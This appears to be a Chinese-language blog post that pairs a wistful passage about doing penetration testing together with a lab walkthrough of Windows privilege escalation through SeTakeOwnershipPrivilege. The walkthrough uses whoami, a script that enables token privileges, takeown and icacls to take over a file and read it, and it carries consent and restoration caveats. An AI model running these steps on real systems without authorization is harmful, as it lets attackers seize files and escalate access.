我有時候會想,如果哪天我們能並肩坐在同一張桌子前,一起打開電腦,玩一場名為「滲透」的解題遊戲,那該有多好。
你的螢幕上開著 PowerShell,我的螢幕是 cmd。
你敲下:
whoami /priv
側過頭來問我:「你覺得這個 SeTakeOwnershipPrivilege
,能派上用場嗎?」
我笑著回你:「看情況吧,或許要先 enumerate 一下檔案的 ACL。」
我們就這樣互相拋著指令,我說 Get-Acl,你就回一個 takeown /f。
像一場沒有終點的對話,不是為了馬上提權,而是為了確認我們的語法能互相接續。
偶爾,我會偷看你螢幕右下角的時鐘,幻想時間能停在這個我們都在測試的瞬間。
那感覺就像是一個 PoC,沒有報告的結尾,也沒有「任務完成」的字樣...
只是一個持續連線的 session,平靜且美好。
SeTakeOwnershipPrivilege 允許使用者取得任何可保護物件(securable object)的擁有權,包含:AD 物件、NTFS 檔案 / 資料夾、Registry key、服務 (Services)、Processes。
預設只有系統管理員擁有此權限。若標準使用者或服務帳號也擁有此權限,就可能被濫用進行提權。
帳號具備 SeTakeOwnershipPrivilege。
權限狀態需啟用(Enabled),若是 Disabled 可用 PowerShell 腳本啟用:
可參考:https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1
PS C:\lab> Import-Module .\Enable-Privilege.ps1
PS C:\lab> .\EnableAllTokenPrivs.ps1
PS C:\lab> whoami /priv
Get-ChildItem -Path "C:\lab\target.txt" | select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}
PS C:\lab> cmd /c dir /q 'C:\lab'
takeown /f "C:\lab\target.txt"
Get-ChildItem -Path "C:\lab\target.txt" | Select Name,@{Name="Owner";Expression={(Get-Acl $_.FullName).Owner}}
可以透過剛才拿到的 Owner 相關資訊,把他填寫到 username 這:
icacls "C:\lab\target.txt" /grant <username>:F
Get-Content "C:\lab\target.txt"
取得擁有權可能影響原應用程式運作,須小心操作。
在真實滲透測試中,需先取得客戶同意再執行。
操作後需嘗試還原擁有權與 ACL,或在報告中註明變更。
用來查看檔案或資料夾的存取控制清單(ACL),包含擁有者、權限等資訊。
常用在 enumeration 階段,先確認當前使用者對目標物件的權限情況。
用來直接取得檔案或資料夾的擁有權,前提是擁有 SeTakeOwnershipPrivilege 權限。
takeown /F file.txt 只需要 Take Ownership NTFS 權限,不一定要提權到 UAC Elevated Prompt。
如果要把擁有者改成其他帳號(例如 Builtin\Administrators),就需要 SeRestorePrivilege,等同要提權。
takeown /A 與其他會更改擁有者的方式幾乎一致,在大多數情況下仍需提權。
takeown(以及大多數 CMD 工具)對長路徑會失敗,而 PowerShell 可以用 extended-length path,例如:
Get-Acl -LiteralPath '\\?\C:\folder\file.txt'
# 提權不知道第幾天了,但我心中的顯化 exploit 已經開始跑起來了。
# 真的好累XD 不能成為神,但應該可以成為神的弟子